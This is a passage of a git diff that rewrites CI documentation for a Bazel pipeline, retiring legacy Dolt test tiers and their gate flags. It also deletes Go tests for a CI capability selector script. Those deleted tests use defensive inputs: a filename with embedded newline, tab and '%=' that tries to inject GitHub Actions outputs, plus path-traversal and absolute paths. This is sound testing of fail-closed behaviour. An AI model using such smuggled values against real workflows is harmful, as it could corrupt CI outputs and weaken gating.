Retirement](#legacy-tier-retirement-d2)), so the gate also + requires `BAZEL_REMOTE`: the call's mode must be `remote`, `fork-ro` or + `fork-rw`. `.github/scripts/bazel-gate.sh` reads the exported mode, never + the variable or the fork flag: mode `skip` allows every Bazel id to skip, + mode `cache` the remote-only `BAZEL_EMBEDDED`, `BAZEL_PROXIED` and + `BAZEL_SERVER_STORAGE`, mode `local` (`rbe=off` dispatches) those and + `BAZEL_INTEGRATION`, and modes `remote`, `fork-ro` and `fork-rw` none; + on `pr.yml` the first three are red anyway through `BAZEL_REMOTE`. A lane that should run and fails, is cancelled, or reports no result fails the gate, and so does a missing or invalid mode. `bazel-integration` (`bazel test //... --config=integration`, the Bazel @@ -94,21 +93,12 @@ Current PR-related workflow names: red, and autofix only patches packages the PR itself changed), the RBE farm is down, or the beads CI RBE client certificate expires (about 2027-09-27; a partial secret set also fails every same-repo run), fix - `main` (`make bazel-sync`) or renew the secrets. To turn remote execution - off instead, first commit `BAZEL_RETIRES_LEGACY_EMBEDDED: "false"`, - `BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS: "false"` and - `BAZEL_RETIRES_LEGACY_PR_LANES: "false"` in both - `pr.yml` and `pr-risk.yml` (see - [Legacy Tier Retirement](#legacy-tier-retirement-d2)), - then unset the `RBE_WEST_WORKERS` repo variable: same-repo runs then take - mode `skip`, which the gate accepts (fork PRs still build, in mode `cache`, - so drift on `main` still reaches them). Unsetting the variable while a - flag is still `"true"` turns `CI Gate / Required` red on every same-repo PR - (`BAZEL_EMBEDDED_RETIRED`, `BAZEL_DOLT_SERVER_RETIRED`, - `BAZEL_PR_LANES_RETIRED`), because the legacy tiers no longer run for - them. If rbe-west closes the read-only cache (the farm's kill switch; the - client has none), fork runs fall back to executing everything locally - (slower, still green; `bazel-integration` then takes about 30 minutes). If it + `main` (`make bazel-sync`) or renew the secrets. There is no legacy tier + to fall back to: unsetting the `RBE_WEST_WORKERS` repo variable (mode + `skip`) turns `CI Gate / Required` red on every PR and merge group + (`BAZEL_REMOTE`), by design. If rbe-west closes the read-only cache (the + farm's kill switch; the client has none), runs in mode `cache` execute + locally and are red through `BAZEL_REMOTE` as well. If it is slow rather than closed, each lookup gives up after `fork-cache`'s 15 s `--remote_timeout` (times its retries), and Bazel's failure circuit breaker (`--experimental_circuit_breaker_strategy=failure`) stops calling @@ -143,10 +133,12 @@ Current PR-related workflow names: no ruleset requires it and nothing reads its results; see [Trusted-Author Fork PRs](#trusted-author-fork-prs-bazel-farm). - `.github/workflows/pr-risk.yml`: `PR Risk` - Runs on `pull_request` and `merge_group`. Contains embedded Dolt risk - detection, the `bazel-coverage` decision, embedded build/test - shards, the proxied and server Dolt shards, the Nix flake smoke check, and - the risk aggregate gate `PR Risk / PR Risk Gate / Required`. + Runs on `pull_request` and `merge_group`. Contains only the Nix packaging + check (`test-nix`: `nix run .#default -- --help` and `nix flake check`) + and the risk aggregate gate `PR Risk / PR Risk Gate / Required`. Its + embedded, proxied and server-Dolt test tiers, the `detect-ci-tier` risk + detection and the `bazel-coverage` decision were retired (ga-96smfk.22): + `pr.yml`'s Bazel lanes run those tests. - `.github/workflows/main.yml`: `Main` Runs on pushes to `main`. Contains the main branch health checks, package gates, platform smoke/short coverage, embedded Dolt coverage, and promoted @@ -768,9 +760,7 @@ intentionally not kept in lockstep with later leaf additions and renames; use -`.github/workflows/pr-risk.yml` has a companion aggregate for `detect-ci-tier`, -`bazel-coverage`, `build-embedded`, the embedded, proxied and server -Dolt test jobs, and `test-nix`. +`.github/workflows/pr-risk.yml` has a companion aggregate for `test-nix`. `.github/scripts/ci-gate.sh` is a small shell evaluator. It fails on any `failure` or `cancelled` result. It accepts `skipped` only for jobs that are @@ -779,23 +769,9 @@ intentionally absent for that event or risk tier: - (Historical: `CHECK_NO_BEADS_CHANGES=skipped` was accepted on `merge_group` while the step was PR-only. It now runs on `merge_group` too, against `merge_group.base_sha`, and no skip of it is excused.) -- In the risk aggregate, `BUILD_EMBEDDED` and the embedded, proxied and server - Dolt test ids may be `skipped` when `FULL_EMBEDDED != true`. -- In the risk aggregate, `TEST_EMBEDDED_STORAGE`, `TEST_EMBEDDED_CONFORMANCE` - and `TEST_EMBEDDED_CMD` may also be `skipped` when `bazel-coverage` - reported `embedded=true`; `TEST_PROXIED_CMD`, `TEST_SERVER_STORAGE` and - `TEST_SERVER_STORAGE_FULL` when it reported `dolt_server=true`; and - `BUILD_EMBEDDED` when it reported both. `BAZEL_COVERAGE` (that job's - result) must be `success`. -- In the baseline aggregate, `BUILD_ARTIFACTS`, `PR_CORE_WRAPPER` and - `CHECK_CMD_BD_PUREGEO_TESTS` may be `skipped` when `bazel-coverage` - reported `pr_lanes=true`. -- In the baseline aggregate, `BAZEL_COVERAGE` must be `success`; - `BAZEL_EMBEDDED_RETIRED` is red when `embedded=true` but the Bazel embedded - lane did not run remotely and pass, `BAZEL_DOLT_SERVER_RETIRED` when - `dolt_server=true` but the proxied and server-storage lanes did not, and - `BAZEL_PR_LANES_RETIRED` when `pr_lanes=true` but the test, pure-Go and - dolt-server lanes did not. +- In the baseline aggregate, `BAZEL_REMOTE` is red unless the Bazel call + ran in mode `remote`, `fork-ro` or `fork-rw` (its lanes are the only run + of the Linux Go test tiers), whatever `bazel-gate.sh` lets skip. - All baseline jobs must be `success`. This keeps branch protection pointed at stable aggregate jobs while preserving @@ -843,27 +819,28 @@ listed paths can be blocked waiting for a check that GitHub never creates. ### Embedded Dolt Matrix -The current embedded Dolt topology already fits the required-check model: - -- `detect-ci-tier` always runs. -- `build-embedded`, `test-embedded-storage`, `test-embedded-conformance` and - `test-embedded-cmd` use job-level `if`; the three test jobs (and, with the - proxied and server jobs, `build-embedded`) also stand down where the Bazel - lanes cover them (next section). -- `.github/scripts/ci-embedded-tier.sh` runs full embedded coverage for - `push`, `merge_group`, unavailable PR diff bounds, and risky paths. -- Docs-only PRs can skip the embedded matrix without leaving the required gate - pending, because the aggregate job still runs. +Retired (ga-96smfk.22). `pr-risk.yml`'s `detect-ci-tier` used to run the +embedded, proxied and server-Dolt matrices only for risky paths; the Bazel +lanes that replaced them run on every PR and merge group, and their result +cache keeps an unaffected PR's cost to a cache hit. ### Legacy Tier Retirement (D2) -D2 retires legacy test jobs on same-repo PRs, one step at a time, where -`pr.yml`'s gated Bazel lanes run the same tests: `pr-risk.yml`'s Dolt tiers -(steps 1 and 2) and `pr.yml`'s own Go test jobs (step 3): +D2 retired legacy test jobs one step at a time where `pr.yml`'s gated +Bazel lanes run the same tests: `pr-risk.yml`'s Dolt tiers (steps 1 and 2) +and `pr.yml`'s own Go test jobs (step 3). Until ga-96smfk.22 each step had a +committed flag (column 4) and a `bazel-coverage` decision job chose, per +PR, between the legacy jobs and the lanes; every PR and merge group took the +lanes (forks too, since `BAZEL_COVERS_FORKS`, ga-96smfk.15), so the legacy +jobs, the flags, the decision and its `BAZEL_*_RETIRED` gate ids were +removed and replaced by one gate id, `BAZEL_REMOTE`. The parity tests +(`TestBazelEmbeddedJobRunsEmbeddedTier`, `TestBazelDoltServerTiers`, +`TestBazelPureJobMirrorsPureGoJob`) now pin the lanes against the retired +jobs' frozen commands. -| Step | Legacy jobs | Bazel lanes (`bazel.yml`) | Flag | `pr.yml` gate id | +| Step | Retired legacy jobs | Bazel lanes (`bazel.yml`) | Former flag | Former `pr.yml` gate id | | --- | --- | --- | --- | --- | | 1 | `test-embedded-storage` x5, `test-embedded-conformance` x2, `test-embedded-cmd` x20 | `bazel-embedded` (`--config=embedded`) | `BAZEL_RETIRES_LEGACY_EMBEDDED` | `BAZEL_EMBEDDED_RETIRED` | | 2 | `test-proxied-cmd` x15, `test-server-storage`, `test-server-storage-full` x16 | `bazel-proxied` (`--config=doltserver-proxied`), `bazel-server-storage` (`--config=doltserver-integration`) | `BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS` | `BAZEL_DOLT_SERVER_RETIRED` | @@ -871,30 +848,18 @@ D2 retires legacy test jobs on same-repo PRs, one step at a time, where -`build-embedded`, whose `embedded-test-binaries` artifact feeds exactly -those six legacy jobs and nothing else, also stands down where both steps -apply. The Bazel lanes run the same tests with the same shard scripts and -manifests. On those PRs they are the tiers' only pre-merge run, and -`CI Gate / Required` requires them to have run remotely and passed. +The Bazel lanes run the same tests with the same shard scripts and +manifests. They are the tiers' only pre-merge run, and `CI Gate / +Required` requires them to have run remotely and passed. -- Step 3 specifics (`pr.yml`'s own jobs, so the legacy jobs and their Bazel - lanes run in the same `pr.yml` run): - - The three jobs add `needs: bazel-coverage` and - `if: needs.bazel-coverage.outputs.pr_lanes != 'true'`; `pr.yml`'s gate - accepts their skips only when `pr_lanes` is exactly `true`, and then - requires `BAZEL_TEST`, `BAZEL_PURE` and `BAZEL_DOLTSERVER` to have run - remotely and passed (`BAZEL_PR_LANES_RETIRED`). `pr-risk.yml` commits - the flag too, only so the shared `bazel-coverage` job stays identical; - nothing in PR Risk reads `pr_lanes`. - - Artifact consumers: `build-artifacts`' `ci-build-artifacts` feeds PR - Core, which stands down with it. No other job in any workflow reads `pr.yml`'s artifacts - (`docs-autofix.yml` reads `check-doc-flags`' +- Step 3 specifics (`pr.yml`'s own jobs): + - Artifact consumers: no job in any workflow reads `pr.yml`'s bd + artifact (`docs-autofix.yml` reads `check-doc-flags`' `cli-docs-freshness-patch`, which is unaffected). - F3: the package gates (`package-mcp`, `package-npm`) moved into `bazel.yml` itself, behind the caller input `package-gates` (`pr.yml` passes `"on"`; `bazel-farm.yml`/`nightly.yml` keep the default `"off"`). - They need only the `rbe` job, not `bazel-coverage`, `build-artifacts` or - the rest of the `bazel` call, and no longer download an artifact: on a + They need only the `rbe` job, not the rest of the `bazel` call, and no longer download an artifact: on a same-repo PR (`needs.rbe.outputs.enabled == 'true'`) each job builds its own bd with `bazel build --@rules_go//go/config:race //cmd/bd:bd_for_tests` (the race flag matches `test:ci`'s top-level @@ -955,9 +920,6 @@ manifests. On those PRs they are the tiers' only pre-merge run, and `bazeltest.IsBazel()`-guarded `t.Skip` to have an allowlist `skip` entry, and no test anywhere to run part of its checks under `go test` only. - - Package gates on a covered PR in a non-remote mode (the farm switch off) - fail in their own "Check the Bazel-built bd exists" step, naming - `BAZEL_PR_LANES_RETIRED`, instead of on a missing artifact. - Every artifact `bazel.yml` uploads sets `overwrite: true`, so "Re-run failed jobs" of a lane (the recovery for an eviction or a flake) does not fail on the upload with a 409 (policy-tested). @@ -970,7 +932,7 @@ manifests. On those PRs they are the tiers' only pre-merge run, and - `--config=sole-run` (`--experimental_remote_cache_eviction_retries=0`, the step 1 and 2 hardening) is added to every `bazel test` of the three lanes wherever they execute remotely (`BAZEL_SOLE_RUN`: modes `remote`, - `fork-ro` and `fork-rw`), which every covered PR runs in. It used to + `fork-ro` and `fork-rw`), which every PR and merge group runs in. It used to carry `--nocache_test_results` too; test results are now cached on every run but nightly's (see [Merge Queue](#merge-queue), "Test result caching"). Measured 2026-10-02: `bazel test //... --config=ci @@ -985,102 +947,21 @@ manifests. On those PRs they are the tiers' only pre-merge run, and for their few targets, is not practical for the whole tree.) The flaky target query in the step 1 and 2 lanes covers `tests(//...)` and runs on every covered PR. -- Switch: one committed workflow env flag per step (table above), each set - to the same literal (`"true"` or `"false"`) in `pr.yml` and `pr-risk.yml` - (policy-tested). They are deliberately not the `RBE_WEST_WORKERS` repo - variable. A variable is read again by every run and re-run, and the two - workflows are separate runs, so one could see it on and the other off; - see "Why a committed flag" below. -- Who: `pull_request` runs from same-repo branches (not forks) whose - `github.actor` is not `dependabot[bot]`, for each step whose flag is - `"true"`. The executor secret is deliberately not part of the decision: a - same-repo PR whose run lacks it (secret deleted or emptied) is still - covered, takes Bazel mode `cache` (no embedded, proxied or server-storage - lane) and so turns - `CI Gate / Required` red, instead of quietly moving back to a legacy tier - that one of its runs may already have skipped. - Fork and Dependabot PRs too, but only while the committed - `BAZEL_COVERS_FORKS` flag (the same literal in both workflows, - policy-tested) is `"true"`: their lanes then run remotely through - rbe-fork (modes `fork-ro`/`fork-rw`), and a run rbe-fork does not serve - (mode `cache`) turns `CI Gate / Required` red rather than falling back. - It is `"true"` (ga-96smfk.15): fork and Dependabot PRs run only the Bazel - lanes for the retired tiers. -- Everyone else keeps the legacy tiers unchanged: - - fork PRs, while `BAZEL_COVERS_FORKS` is `"false"` (their Bazel lanes - run beside the legacy tiers: remotely while rbe-fork is open, else in - mode `cache`); - - Dependabot PRs, likewise (no Actions secrets; `github.actor`, unlike - `github.triggering_actor`, stays `dependabot[bot]` when someone else - re-runs them); - - every PR while that step's flag is `"false"`. - - Every `merge_group` run (merge queue) is covered like a same-repo PR: it - runs on this repository's `gh-readonly-queue/*` branch with the CI - secrets, its actor is `github-merge-queue[bot]`, and `bazel.yml`'s `rbe` - job takes mode `remote` for it, so the Bazel lanes are the queue entry's - only run of each retired tier and `CI Gate / Required` is red unless they - ran remotely and passed (see [Merge Queue](#merge-queue)). +- Gate: on every `pull_request` and `merge_group` run (same-repo, fork and + Dependabot alike; merge groups run on this repository's + `gh-readonly-queue/*` branch with the CI secrets) `pr.yml`'s gate requires + `BAZEL_REMOTE` (the call's mode is `remote`, `fork-ro` or `fork-rw`) and + every lane's own id. Mode `skip` (the farm switch off) and mode `cache` + (the executor secret missing, or rbe-fork closed or refusing a fork run) + are red, never a silent pass with fewer tests. + `scripts/pr_risk_bazel_coverage_test.go` + (`TestPRGateRequiresRemoteBazelLanes`) runs `bazel.yml`'s actual `rbe` + step and `pr.yml`'s actual gate step over every event, variable value, + secret, fork, actor and mint answer. On push to `main`, `bazel.yml`'s push run is the only run of these tiers (`main.yml`'s legacy embedded, proxied, integration, domain+uow and Linux unit jobs were removed, ga-96smfk.14). -- How: - - `pr-risk.yml` and `pr.yml` each run the identical `bazel-coverage` job - (policy-tested). The job does no checkout and runs no repository code. - It reads the flags, the event, the fork flag and the actor (no secret, - no variable), and outputs `embedded` (step 1), `dolt_server` - (step 2) and `pr_lanes` (step 3). - - Each legacy test job adds - `needs.bazel-coverage.outputs. != 'true'` to its - `if`; `build-embedded` adds - `(embedded != 'true' || dolt_server != 'true')`. - - PR Risk's gate accepts a legacy test job's skip only when its step's - output is `true`, and `BUILD_EMBEDDED`'s only when both are. - - `pr.yml`'s gate requires `BAZEL_COVERAGE` (the job's result) and one - `BAZEL_*_RETIRED` id per step. Such an id is red when its step's output - is `true` and the Bazel call's mode is not `remote` or any of the step's - lanes (`BAZEL_EMBEDDED`; `BAZEL_PROXIED` and `BAZEL_SERVER_STORAGE`; - `BAZEL_TEST`, `BAZEL_PURE` and `BAZEL_DOLTSERVER`) is not `success`. In particular, mode `skip` (the farm switch off) and - mode `cache` (the executor secret missing) are red there, although - `bazel-gate.sh` alone would accept them. - - A failed, cancelled or missing decision is red in both gates. -- Why a committed flag: - - The outputs depend on nothing a re-run can change (flags, event, fork, - actor). So any run or re-run of PR Risk that skips a legacy tier is - matched by `pr.yml` runs that compute the same outputs. - - Each such `pr.yml` run is green only if that tier's Bazel lanes ran - remotely and passed in that run. - - Flipping `RBE_WEST_WORKERS` either way, plus "Re-run all jobs" of - either workflow, can no longer leave both required checks green with - neither the legacy tier nor its lanes run. - - `scripts/pr_risk_bazel_coverage_test.go` checks this by running both - workflows' actual decision steps, `bazel.yml`'s `rbe` step and `pr.yml`'s - actual gate step over every event, variable value, secret, fork, actor - and flag combination, with the variable and the secret each differing - between the two runs. It also requires the two workflows to share their - `pull_request` triggers, and simulates PR Risk's actual gate step over - every risk tier and decision. -- Cost of failing closed: while a flag is `"true"`, a same-repo PR without - the executor secret (secret deleted or emptied, or a non-Dependabot bot - whose runs get no secrets) is red until the secret is restored or the - flag is committed `"false"`. -- Revert (per step): - 1. Commit that step's flag `"false"` in both workflows on `main`. To turn - remote execution off, commit both flags `"false"`. - 2. Every PR needs a new push or a merge of `main` to pick it up: a - pull_request run uses the workflow files of the PR's merge commit, and - a re-run reuses that commit. - 3. Only then unset `RBE_WEST_WORKERS`, if remote execution should be off. - - Reverting the D2 commits removes the decision job entirely. -- Re-runs: "Re-run all jobs" (or "Re-run failed jobs") of one workflow - re-evaluates variables and secrets for that workflow's run only. The - other workflow's last result stays on the head SHA. With the committed - flags this cannot drop a tier silently: the outputs depend on the flags - (fixed by the merge commit), the event, the fork flag and the actor, and - on no variable or secret. Re-running "failed jobs" keeps the earlier - jobs' outputs, including the decision and the `rbe` mode. - Enforcement scope: the beads-only ruleset requires both gates on the default branch (`main`) only. On PRs into `release/**` both workflows run and report, but merging does not wait for them, before or after this @@ -1133,14 +1014,12 @@ manifests. On those PRs they are the tiers' only pre-merge run, and - The `args` and `env` of every target tagged `embedded`, `dolt-server-proxied` or `dolt-server-integration` are pinned. - `tools/bazel/check_shard_coverage.py` runs after each tier. It requires: - - every Bazel shard of `//cmd/bd:bd_embedded_test` (50; PR Risk's own - legacy `test-embedded-cmd` fork/push jobs still run 20 shards of - their own, frozen manifest block — a different split, not this one, - F1), `//internal/storage/embeddeddolt:embeddeddolt_embedded_test` - (15; legacy `test-embedded-storage` still runs 5 of its own, same - reasoning, F1), `//cmd/bd:bd_proxied_test` (30; PR Risk's own legacy - `test-proxied-cmd` fork/push jobs still run 15 shards of their own, - frozen manifest block — a different split, not this one, F2) and + - every Bazel shard of `//cmd/bd:bd_embedded_test` (50; the manifest's + frozen 20-shard block was the retired `test-embedded-cmd` jobs' split, + F1), `//internal/storage/embeddeddolt:embeddeddolt_embedded_test` (15; + the frozen 5-shard block was `test-embedded-storage`'s, F1), + `//cmd/bd:bd_proxied_test` (30; the frozen 15-shard block was + `test-proxied-cmd`'s, F2) and `//internal/storage/dolt:dolt_server_full_test` (16) to have run exactly the tests its shard script lists (list-only mode, minus `TestMain`, which `grep '^func Test'` lists but which is never a @@ -1190,7 +1069,7 @@ scope, not this slice's. (and `test-dolt-server-fingerprint`, since retired); pr-risk.yml's `test-nix` (4 vCPU). Every other job keeps the default 2 vCPU label. Forks and Dependabot PRs fall back - to `ubuntu-latest`, as F3's `bazel-coverage`/`ci-gate`/`detect-ci-tier` jobs + to `ubuntu-latest`, as F3's `ci-gate` jobs and bazel.yml's `rbe` job already do; `TestBlacksmithJobsReadNoSecrets` requires that no job eligible for a Blacksmith label ever reads a secret, so a maintainer re-running a Dependabot PR landing on Blacksmith (actor change, @@ -1334,29 +1213,20 @@ macOS jobs; `release.yml`, `nightly.yml` and `ci-measurements.yml` stay on ### Server Dolt Storage Matrix -`test-server-storage-full` mirrors `test-embedded-storage`'s sharding, one -tier down in the same workflow: +Retired from `pr-risk.yml` (ga-96smfk.22): `bazel.yml`'s `bazel-server-storage` +lane runs `//internal/storage/dolt:dolt_server_full_test` (16 shards) and +`:dolt_server_conformance_test` against hermetic dolt sql-servers. -- Job-level `if` uses the same `detect-ci-tier` gate as the embedded matrix, - and both server jobs stand down where the Bazel `server-Dolt storage tier` - lane covers them (D2 step 2, [Legacy Tier Retirement](#legacy-tier-retirement-d2)). - `.github/scripts/server-storage-test-shard.sh` discovers top-level `Test*` functions from `internal/storage/dolt/*_test.go` (excluding - `TestConformance`, which keeps its own `test-server-storage` job), assigns - known-heavy tests via the committed - `.github/scripts/server-storage-test-shards.txt` manifest, and - hash-distributes everything else — the same manifest-plus-fallback - mechanism `embedded-storage-test-shard.sh` uses. -- 16 shards (vs. embedded's 5): server-mode tests are real socket - round-trips against a containerized Dolt server with a per-test - CREATE/DROP DATABASE, and the package has 3.5x as many top-level tests - (1126 vs. 324) as the embedded suite. An earlier unsharded single job - (15m Go timeout, `timeout-minutes: 20`) never finished — it died at - 256/1126 tests with zero failures, just out of time. One test, - `TestCloudAuthCLIRouting`, alone costs ~9.5 minutes and is pinned alone + `TestConformance`, which runs in its own target), assigns known-heavy + tests via the committed `.github/scripts/server-storage-test-shards.txt` + manifest, and hash-distributes everything else — the same + manifest-plus-fallback mechanism `embedded-storage-test-shard.sh` uses. +- 16 shards: the package has 1126 top-level tests, each a real socket + round-trip against a Dolt server with a per-test CREATE/DROP DATABASE. + `TestCloudAuthCLIRouting` alone costs ~9.5 minutes and is pinned alone on shard 1 in the manifest so it cannot delay any other shard. -- `fail-fast: false`, matching every other matrix job in this workflow: one - slow or flaky shard should not cancel its siblings. ### Regression Tests @@ -1455,17 +1325,12 @@ workflows run on that commit like a same-repo PR: exactly as before merging.** A ruleset `pull_request` rule (1 approval, approval of the most recent push) would enforce a review before queueing. That decision is pending. -- D2: `bazel-coverage` covers every merge group, so the retired legacy - tiers (embedded, proxied/server Dolt, pr.yml's PR Core/build/pure-Go/ - domain+uow/contract jobs) stay retired and the gate requires their - Bazel lanes to have run remotely and passed. With the farm switch off - (mode `skip`) or a missing executor secret (mode `cache`) the gate is - red, exactly as on a same-repo PR: turn the flags off first (runbook in - [Current State](#current-state)). +- The gate requires the Bazel lanes to have run remotely and passed + (`BAZEL_REMOTE`), exactly as on a PR: with the farm switch off (mode + `skip`) or a missing executor secret (mode `cache`) it is red. - `bazel-cmd-dolt` (required while `BAZEL_CMD_DOLT_REQUIRED` is `"true"`), `bazel-integration`, the package gates and the F4 prebuilt Windows pair - run as on a PR. `detect-ci-tier` reports full embedded coverage (moot - while the tiers are retired). + run as on a PR. - Diff bases: a merge group has no `pull_request` payload and no `base_ref`. The migration-hygiene `BASE_SHA`, the package gates' `PR_BASE_SHA`/`PR_HEAD_SHA`, the `.beads/issues.jsonl` guard and the @@ -1628,8 +1493,7 @@ would queue forever on a missing runner label instead of falling back to the label being unavailable). Revert these four together to take same-repo PRs off Blacksmith entirely and back onto `ubuntu-latest`: -1. **F3's gate runners** — pr.yml's and pr-risk.yml's `bazel-coverage`, - `ci-gate` and `detect-ci-tier` jobs. +1. **F3's gate runners** — pr.yml's and pr-risk.yml's `ci-gate` jobs. 2. **bazel.yml's `rbe` job** runner. 3. **F7a** — pr.yml's `fast-checks`, `advisory-reports`, `check-release-target-cross-compilation`, `check-doc-flags`, diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index c6c4caa81..178df0e2e 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -31,7 +31,6 @@ go_test( "ci_analytics_extract_test.go", "ci_analytics_workflow_test.go", "ci_blacksmith_runner_test.go", - "ci_capability_selector_test.go", "ci_f7b_review_test.go", "ci_f7c_advisory_test.go", "ci_merge_queue_test.go", diff --git a/scripts/ci_blacksmith_runner_test.go b/scripts/ci_blacksmith_runner_test.go index 14970f8d1..6937a524e 100644 --- a/scripts/ci_blacksmith_runner_test.go +++ b/scripts/ci_blacksmith_runner_test.go @@ -28,9 +28,9 @@ import ( // than kept as independent copies. // F3: the same "same-repo PR, or merge_group" Blacksmith expression used by -// pr.yml's and pr-risk.yml's bazel-coverage/ci-gate/detect-ci-tier jobs - a -// package-level const so every test that needs it (TestSameRepoBlacksmithRunners, -// TestPRRiskBazelCoverageJob, ...) reads the one literal. +// pr.yml's and pr-risk.yml's ci-gate jobs - a package-level const so every +// test that needs it (TestSameRepoBlacksmithRunners, ...) reads the one +// literal. const sameRepoBlacksmith2vcpu = "${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }}" // F7a: the same same-repo expression at 4 vCPU and 8 vCPU, for jobs sized diff --git a/scripts/ci_capability_selector_test.go b/scripts/ci_capability_selector_test.go deleted file mode 100644 index cc160a3a1..000000000 --- a/scripts/ci_capability_selector_test.go +++ /dev/null @@ -1,281 +0,0 @@ -package scripts_test - -import ( - "os" - "os/exec" - "path/filepath" - "runtime" - "strings" - "testing" - - "gopkg.in/yaml.v3" -) - -var selectorKeys = []string{ - "embedded_cli", "proxied_cli", "embedded_storage", "embedded_conformance", "server_conformance", "full", "reason", -} - -func TestCICapabilitySelectorClassifiesOwnedPaths(t *testing.T) { - for _, tt := range []struct { - name string - records []string - want map[string]string - }{ - {"docs", []string{"A", "docs/guide.md"}, decisions(false, false, false, false, false, "docs_only")}, - {"command", []string{"M", "cmd/bd/create.go"}, decisions(true, true, false, false, false, "cmd_bd")}, - {"embedded", []string{"M", "internal/storage/embeddeddolt/store.go"}, decisions(true, false, true, true, false, "embedded_storage")}, - {"server", []string{"M", "internal/storage/dolt/store.go"}, decisions(false, true, false, false, true, "server_storage")}, - {"shared conformance", []string{"M", "backend/conformance/portable.go"}, decisions(false, false, false, true, true, "shared_conformance")}, - {"mixed union", []string{"M", "cmd/bd/create.go", "M", "internal/storage/embeddeddolt/store.go"}, decisions(true, true, true, true, false, "mixed")}, - {"all leaves normalize full", []string{"M", "cmd/bd/create.go", "M", "internal/storage/embeddeddolt/store.go", "M", "internal/storage/dolt/store.go"}, decisions(true, true, true, true, true, "full")}, - } { - t.Run(tt.name, func(t *testing.T) { - got, _ := runCICapabilitySelector(t, tt.records, "pull_request", true, false) - assertSelectorOutputs(t, got, tt.want) - }) - } -} - -func TestCICapabilitySelectorFailsClosed(t *testing.T) { - for _, tt := range []struct { - name string - event string - records []string - bounds bool - gitFail bool - reason string - }{ - {"push", "push", nil, true, false, "push"}, - {"merge group", "merge_group", nil, true, false, "merge_group"}, - {"unsupported event", "schedule", nil, true, false, "unsupported_event"}, - {"missing bounds", "pull_request", nil, false, false, "missing_bounds"}, - {"diff failure", "pull_request", nil, true, true, "diff_failed"}, - {"delete", "pull_request", []string{"D", "docs/guide.md"}, true, false, "unsafe_status"}, - {"rename", "pull_request", []string{"R100", "docs/old.md", "docs/new.md"}, true, false, "unsafe_status"}, - {"copy", "pull_request", []string{"C100", "docs/old.md", "docs/new.md"}, true, false, "unsafe_status"}, - {"type change", "pull_request", []string{"T", "docs/guide.md"}, true, false, "unsafe_status"}, - {"unmerged", "pull_request", []string{"U", "docs/guide.md"}, true, false, "unsafe_status"}, - {"unknown status", "pull_request", []string{"X", "docs/guide.md"}, true, false, "unsafe_status"}, - {"broken pair", "pull_request", []string{"B", "docs/guide.md"}, true, false, "unsafe_status"}, - {"malformed", "pull_request", []string{"A"}, true, false, "malformed_record"}, - {"absolute", "pull_request", []string{"A", "/tmp/unsafe"}, true, false, "unsafe_path"}, - {"traversal", "pull_request", []string{"A", "docs/../unsafe.md"}, true, false, "unsafe_path"}, - {"workflow", "pull_request", []string{"M", ".github/workflows/pr-risk.yml"}, true, false, "unsafe_control"}, - {"selector", "pull_request", []string{"M", ".github/scripts/ci-capability-selector.sh"}, true, false, "unsafe_control"}, - {"build input", "pull_request", []string{"M", "go.mod"}, true, false, "build_input"}, - {"cross cutting storage", "pull_request", []string{"M", "internal/storage/schema/migrations/1.sql"}, true, false, "cross_cutting_storage"}, - {"unowned", "pull_request", []string{"M", "internal/other/change.go"}, true, false, "unowned_path"}, - } { - t.Run(tt.name, func(t *testing.T) { - got, _ := runCICapabilitySelector(t, tt.records, tt.event, tt.bounds, tt.gitFail) - assertSelectorOutputs(t, got, decisions(true, true, true, true, true, tt.reason)) - }) - } -} - -func TestCICapabilitySelectorNeverInjectsFilenamesIntoOutputs(t *testing.T) { - got, raw := runCICapabilitySelector(t, []string{"A", "docs/new\nname\t%=.md"}, "pull_request", true, false) - assertSelectorOutputs(t, got, decisions(false, false, false, false, false, "docs_only")) - if strings.Contains(raw, "new\nname") || strings.Contains(raw, "\t%=") { - t.Fatalf("filename leaked into selector output: %q", raw) - } - - got, raw = runCICapabilitySelector(t, []string{"A", "unowned/new\nname\t%=.txt"}, "pull_request", true, false) - assertSelectorOutputs(t, got, decisions(true, true, true, true, true, "unowned_path")) - if strings.Contains(raw, "new\nname") || strings.Contains(raw, "\t%=") { - t.Fatalf("untrusted filename leaked into selector output: %q", raw) - } -} - -func TestCICapabilitySelectorWorkflowPreservesExistingAuthority(t *testing.T) { - data, err := os.ReadFile(filepath.Join(sourceRepoRoot(t), ".github", "workflows", "pr-risk.yml")) - if err != nil { - t.Fatalf("read workflow: %v", err) - } - var workflow capabilitySelectorWorkflow - if err := yaml.Unmarshal(data, &workflow); err != nil { - t.Fatalf("parse workflow: %v", err) - } - wantJobs := map[string]bool{"detect-ci-tier": true, "bazel-coverage": true, "build-embedded": true, "test-embedded-storage": true, "test-embedded-conformance": true, "test-server-storage": true, "test-server-storage-full": true, "test-embedded-cmd": true, "test-proxied-cmd": true, "test-nix": true, "ci-gate": true} - if len(workflow.Jobs) != len(wantJobs) { - t.Errorf("job count = %d, want %d", len(workflow.Jobs), len(wantJobs)) - } - for name := range workflow.Jobs { - if !wantJobs[name] { - t.Errorf("unexpected job %q", name) - } - } - for name := range wantJobs { - if _, ok := workflow.Jobs[name]; !ok { - t.Errorf("missing job %q", name) - } - } - detector := workflow.Jobs["detect-ci-tier"] - if detector.Outputs["full_embedded"] != "${{ steps.tier.outputs.full_embedded }}" { - t.Errorf("full_embedded output = %q", detector.Outputs["full_embedded"]) - } - tier, shadow := detector.step(t, "Decide embedded Dolt coverage"), detector.step(t, "Shadow CI capability selector") - if tier.ID != "tier" || shadow.ID != "shadow-selector" || !shadow.ContinueOnError || detector.stepIndex(t, shadow.Name) != detector.stepIndex(t, tier.Name)+1 { - t.Errorf("shadow step is not immediately after tier: tier=%+v shadow=%+v", tier, shadow) - } - // The legacy tiers' test jobs, and build-embedded, run on the risk tier - // and also stand down where the gated Bazel lanes cover them - // (TestPRRiskLegacyTiersDeferToBazelLanes). - for name, r := range retiredJobs() { - if got := workflow.Jobs[name].If; got != r.legacyIf() { - t.Errorf("%s if = %q, want %q", name, got, r.legacyIf()) - } - } - if got := workflow.Jobs["build-embedded"].If; got != prRiskBuildEmbeddedIf { - t.Errorf("build-embedded if = %q, want %q", got, prRiskBuildEmbeddedIf) - } - if workflow.Jobs["test-nix"].If != "" { - 